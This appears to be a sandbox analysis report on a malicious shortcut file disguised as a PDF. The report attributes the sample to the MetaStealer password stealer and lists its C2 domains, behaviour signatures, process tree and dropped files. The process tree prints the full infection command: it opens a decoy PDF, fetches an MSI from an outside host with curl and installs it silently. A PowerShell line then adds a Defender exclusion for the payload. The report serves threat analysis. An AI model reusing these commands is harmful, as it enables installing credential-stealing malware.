Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    146s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/01/2025, 10:43

General

  • Target

    Document-0191536.pdf.lnk.download.lnk

  • Size

    3KB

  • MD5

    55546c788e0e0bfc56207ee32f6c1eab

  • SHA1

    8b06c2ab87a75bdaa4962f8eeac7c094242b1e69

  • SHA256

    02c22ae33c4f792f3b30e5aa8d465bd51e408079aa6f6ace1e0c56cd03a9128e

  • SHA512

    0f51136e562b8f774ca89824c3199d97008942f16f2d2df5e4335be8467a36c7c600999d9bf5fb9c163fc2ce630d2519d54e17b1b06a8ff3fbdbf4242e21322a

Malware Config

Extracted

Family

metastealer

C2

kiyaqoimsiieeyqa.xyz

ssqsmisuowqcwsqo.xyz

ykqmwgsuummieaug.xyz

ewukeskgqswqesiw.xyz

cscqcsgewmwwaaui.xyz

cyoksykiamiscyia.xyz

okgomokemoucqeso.xyz

ikwacuakiqeimwua.xyz

aawcsqqaywckiwmi.xyz

aiqasksgmyeqocei.xyz

qgumcuisgaeyuqqe.xyz

eiesoycamyqqgcea.xyz

ywceswakicsqomqw.xyz

auaieuewouawygku.xyz

cmiascusccywowcs.xyz

uiqkkomkaceqacec.xyz

quqeciymqmkqccqw.xyz

ssqsauuuyyigouou.xyz

aogaakukuugqswcy.xyz

ucgwcwsuqsuwewgc.xyz

Attributes
  • dga_seed

    21845

  • domain_length

    16

  • num_dga_domains

    10000

  • port

    443

Signatures

  • Meta Stealer

    Meta Stealer steals passwords stored in browsers, written in C++.

  • MetaStealer payload 1 IoCs
  • Metastealer family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 9 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Document-0191536.pdf.lnk.download.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start msedge https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi https://lnbox.info/cool/setup_x64.msi & C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi /qn | Taskkill /f /im cmd.exe
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:628
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf
        3⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2432
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa575a46f8,0x7ffa575a4708,0x7ffa575a4718
          4⤵
            PID:4076
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2124 /prefetch:2
            4⤵
              PID:5008
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2176
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
              4⤵
                PID:4072
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
                4⤵
                  PID:3284
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
                  4⤵
                    PID:3084
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4664 /prefetch:1
                    4⤵
                      PID:3364
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=5152 /prefetch:6
                      4⤵
                        PID:680
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5544 /prefetch:8
                        4⤵
                          PID:3496
                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5544 /prefetch:8
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1208
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4924 /prefetch:1
                          4⤵
                            PID:3696
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4900 /prefetch:1
                            4⤵
                              PID:5044
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4192 /prefetch:1
                              4⤵
                                PID:1660
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4140 /prefetch:1
                                4⤵
                                  PID:1596
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,10687160276966567456,4000473343559162781,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1720 /prefetch:2
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3240
                              • C:\Windows\System32\curl.exe
                                curl -sLo C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi https://lnbox.info/cool/setup_x64.msi
                                3⤵
                                  PID:4804
                                • C:\Windows\System32\msiexec.exe
                                  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi" /qn
                                  3⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4424
                                • C:\Windows\System32\taskkill.exe
                                  Taskkill /f /im cmd.exe
                                  3⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2720
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4960
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:3608
                                • C:\Windows\system32\msiexec.exe
                                  C:\Windows\system32\msiexec.exe /V
                                  1⤵
                                  • Enumerates connected drives
                                  • Drops file in Windows directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2572
                                  • C:\Windows\syswow64\MsiExec.exe
                                    C:\Windows\syswow64\MsiExec.exe -Embedding 08DD7333EAD7EABE0DF617A024CF1D08
                                    2⤵
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    PID:1764
                                    • C:\Windows\SysWOW64\ICACLS.EXE
                                      "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
                                      3⤵
                                      • Modifies file permissions
                                      • System Location Discovery: System Language Discovery
                                      PID:5000
                                    • C:\Windows\SysWOW64\EXPAND.EXE
                                      "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
                                      3⤵
                                      • Drops file in Windows directory
                                      • System Location Discovery: System Language Discovery
                                      PID:1604
                                    • C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\files\setup.exe
                                      "C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\files\setup.exe" /VERYSILENT /VERYSILENT
                                      3⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1712
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\search.exe"
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:64
                                      • C:\Windows\SysWOW64\systeminfo.exe
                                        systeminfo
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        • Gathers system information
                                        PID:3820

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                  Filesize

                                  152B

                                  MD5

                                  9bfb45e464f029b27cd825568bc06765

                                  SHA1

                                  a4962b4fd45004732f071e16977522709ab0ce60

                                  SHA256

                                  ceb8f1b0aaa1ba575c3704e73fd77edf932d68c8be902b33f1ba3b1d130cd139

                                  SHA512

                                  f87cce8bb5489b56027f5a285b948b639a1c7b0f213a111f057235177e5bffc537627c82586736704e398a0185cf2ad8ba8cdee788531fb753a2d08f16e906c7

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                  Filesize

                                  152B

                                  MD5

                                  ae2a8f2ebc841509f7b978edf590d3cd

                                  SHA1

                                  91358152e27c0165334913228005540756c35bd3

                                  SHA256

                                  631550765e3db02be0709748c0634a2cfdab711cea94f5890854d0c1dfbcb214

                                  SHA512

                                  e52180dd175f1e6ff72d76400085869387cd70da33919de219a04dc26871e8421e93b22e7c59125c19c6ee54a8a8f742d796ac68ea9077c9dab5f03b80967d11

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                  Filesize

                                  181B

                                  MD5

                                  1cd1076ea49dca53e30d29edcb76ca12

                                  SHA1

                                  62e13a81796399aeb854bf13bfbc1d3284ec74b4

                                  SHA256

                                  cd7b129236a194ac9c78db5fa3afd8804d8a0eff7e2908854dc921e27ed8eedf

                                  SHA512

                                  e14a785692afdab6703dd4df35060d69ab5aa1fc513070c75087572884cd80eaf2456bb9234492bc9e6a505f6681fd7985d76625765f02a04381413105f7822a

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                  Filesize

                                  6KB

                                  MD5

                                  90b87216ea2edb562c1719705ad57c6b

                                  SHA1

                                  30061d6e5b06eaba017bb33914fcb66553a2ef6a

                                  SHA256

                                  3ce4ddb7cc599e7d1a9494e18f173281f52ab3aa33d629ad8d74f3d3e048ddb1

                                  SHA512

                                  aafd3f9e2c3beb29c97ba33f3768d21d2e08b7a3d7f7391ab363bae73f45201c089752afd2672a0b9f8dd2776438090de46a5f36388c75660a6e2e93f0b078f7

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                  Filesize

                                  6KB

                                  MD5

                                  96e093c5cd23cb7a84e93c88e9c3f832

                                  SHA1

                                  1043a63fba7b6eedb360bcd8a31c03ccf4b28a89

                                  SHA256

                                  e64c60c1af3c8edcdefd149e9d1ec7e0e10ee846ddebdaa6f373c358b379695b

                                  SHA512

                                  41fe01f36a376d323e1c504b252d25235c90a71daa611152695d277aebe0b68b3c0a02441b817cc48a39ea451e561a012871aa54ff1f0d1963240f154cabc56e

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                  Filesize

                                  16B

                                  MD5

                                  46295cac801e5d4857d09837238a6394

                                  SHA1

                                  44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                  SHA256

                                  0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                  SHA512

                                  8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                  Filesize

                                  16B

                                  MD5

                                  206702161f94c5cd39fadd03f4014d98

                                  SHA1

                                  bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                  SHA256

                                  1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                  SHA512

                                  0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                  Filesize

                                  11KB

                                  MD5

                                  eaf31de15dea025f92548c0cd80bf1a5

                                  SHA1

                                  8ee87952c0b3ea95f7f17236e10a53c20184fabd

                                  SHA256

                                  e79639fab590019f4486f22ee0a599ecf180c0872ca6e21a2658f5f19507033f

                                  SHA512

                                  82bf4805e097e66b953d67ccf42d5611d8dc765d2e9f6b77bf09ec60948a6dbc4acee7cd0ee635a8262de34133ee9baa26731c482177fbd9194ff6c33a3e8669

                                • C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi

                                  Filesize

                                  2.1MB

                                  MD5

                                  c8c7e377611b06bf98d17c846945df3c

                                  SHA1

                                  92294a125dd1e8c3f69e5bfcf454f980f15ddb9f

                                  SHA256

                                  f8edc2c21a5e5ff3c91eb85ce8f706c1cc655e7c940e99d046e400932f8d6183

                                  SHA512

                                  97f19b47957d19eac2585945d32807df717f49012fb8cb39246212292258600971e510bf44e9fee29e55d84545056ac07b6b6a43ace2b8ad4bb7f1769eb3a7ca

                                • C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\files.cab

                                  Filesize

                                  1.8MB

                                  MD5

                                  c938fe0076583b3216934adf74b983e9

                                  SHA1

                                  efcea2278fe2a4ab891c604db4cba3e919fd31c3

                                  SHA256

                                  27c95e758b3c590c16e36e7ddf57e9c6c5e66d52ad7bc7b710f038b3777a18bf

                                  SHA512

                                  68de0882ea8e022218e9a21d375f0c4e28cd7ca3a54f7f8162fad917e2e505c6ffae0f4a1b029b5bf6ce68ea76f78ebbd5f33abcf93893a43912cb3c9ff479f4

                                • C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\msiwrapper.ini

                                  Filesize

                                  1KB

                                  MD5

                                  ff3ad8dea7eb079f48b343e2b761ff50

                                  SHA1

                                  0ec8aa4990103a6612fdb23e2e9175365cc4dccc

                                  SHA256

                                  49ae496865af2eb22520c300d9f93a21d8fa8039bd438374f616e4291e416af9

                                  SHA512

                                  7277e567af46464cb4d24c31052d57a090ede0928bce17f25da8d4c4fa31f1a0a78d4d175214396a3469539ab333d5ddfce769e59fc0c3f29f8a340459982377

                                • C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\msiwrapper.ini

                                  Filesize

                                  1KB

                                  MD5

                                  f7db3de3b19ecd9a08d93f116982dc90

                                  SHA1

                                  b2c7c9aa1d74a129c562e4addb742d57553e70f7

                                  SHA256

                                  4fc68c56ee8bb83b246fee04eb91a63d419a2fb31420305e834d0860e4a3ff48

                                  SHA512

                                  7990381338101a5556948a0e3ad686234859c0c798aa4b07e4cbf9b748a5f564e801002d1dc6d32a64c0e250769aa64153eda8e32e038c10846e6dbe3f5df62d

                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgvllnvd.v0m.ps1

                                  Filesize

                                  60B

                                  MD5

                                  d17fe0a3f47be24a6453e9ef58c94641

                                  SHA1

                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                  SHA256

                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                  SHA512

                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                • C:\Windows\Installer\MSIA558.tmp

                                  Filesize

                                  208KB

                                  MD5

                                  0c8921bbcc37c6efd34faf44cf3b0cb5

                                  SHA1

                                  dcfa71246157edcd09eecaf9d4c5e360b24b3e49

                                  SHA256

                                  fd622cf73ea951a6de631063aba856487d77745dd1500adca61902b8dde56fe1

                                  SHA512

                                  ed55443e20d40cca90596f0a0542fa5ab83fe0270399adfaafd172987fb813dfd44ec0da0a58c096af3641003f830341fe259ad5bce9823f238ae63b7e11e108

                                • memory/64-192-0x0000000005FB0000-0x0000000006016000-memory.dmp

                                  Filesize

                                  408KB

                                • memory/64-206-0x0000000007890000-0x00000000078C2000-memory.dmp

                                  Filesize

                                  200KB

                                • memory/64-191-0x00000000056E0000-0x0000000005702000-memory.dmp

                                  Filesize

                                  136KB

                                • memory/64-188-0x0000000002D70000-0x0000000002DA6000-memory.dmp

                                  Filesize

                                  216KB

                                • memory/64-193-0x0000000006020000-0x0000000006086000-memory.dmp

                                  Filesize

                                  408KB

                                • memory/64-227-0x0000000007C30000-0x0000000007C38000-memory.dmp

                                  Filesize

                                  32KB

                                • memory/64-203-0x0000000006190000-0x00000000064E4000-memory.dmp

                                  Filesize

                                  3.3MB

                                • memory/64-205-0x00000000066C0000-0x000000000670C000-memory.dmp

                                  Filesize

                                  304KB

                                • memory/64-204-0x0000000006680000-0x000000000669E000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/64-207-0x000000006E9C0000-0x000000006EA0C000-memory.dmp

                                  Filesize

                                  304KB

                                • memory/64-217-0x0000000006C50000-0x0000000006C6E000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/64-189-0x00000000058D0000-0x0000000005EF8000-memory.dmp

                                  Filesize

                                  6.2MB

                                • memory/64-218-0x00000000078D0000-0x0000000007973000-memory.dmp

                                  Filesize

                                  652KB

                                • memory/64-219-0x0000000008000000-0x000000000867A000-memory.dmp

                                  Filesize

                                  6.5MB

                                • memory/64-220-0x00000000079B0000-0x00000000079CA000-memory.dmp

                                  Filesize

                                  104KB

                                • memory/64-221-0x0000000007A10000-0x0000000007A1A000-memory.dmp

                                  Filesize

                                  40KB

                                • memory/64-222-0x0000000007C40000-0x0000000007CD6000-memory.dmp

                                  Filesize

                                  600KB

                                • memory/64-223-0x0000000007BB0000-0x0000000007BC1000-memory.dmp

                                  Filesize

                                  68KB

                                • memory/64-224-0x0000000007BE0000-0x0000000007BEE000-memory.dmp

                                  Filesize

                                  56KB

                                • memory/64-225-0x0000000007BF0000-0x0000000007C04000-memory.dmp

                                  Filesize

                                  80KB

                                • memory/64-226-0x0000000007D00000-0x0000000007D1A000-memory.dmp

                                  Filesize

                                  104KB

                                • memory/1712-184-0x0000000010000000-0x0000000010738000-memory.dmp

                                  Filesize

                                  7.2MB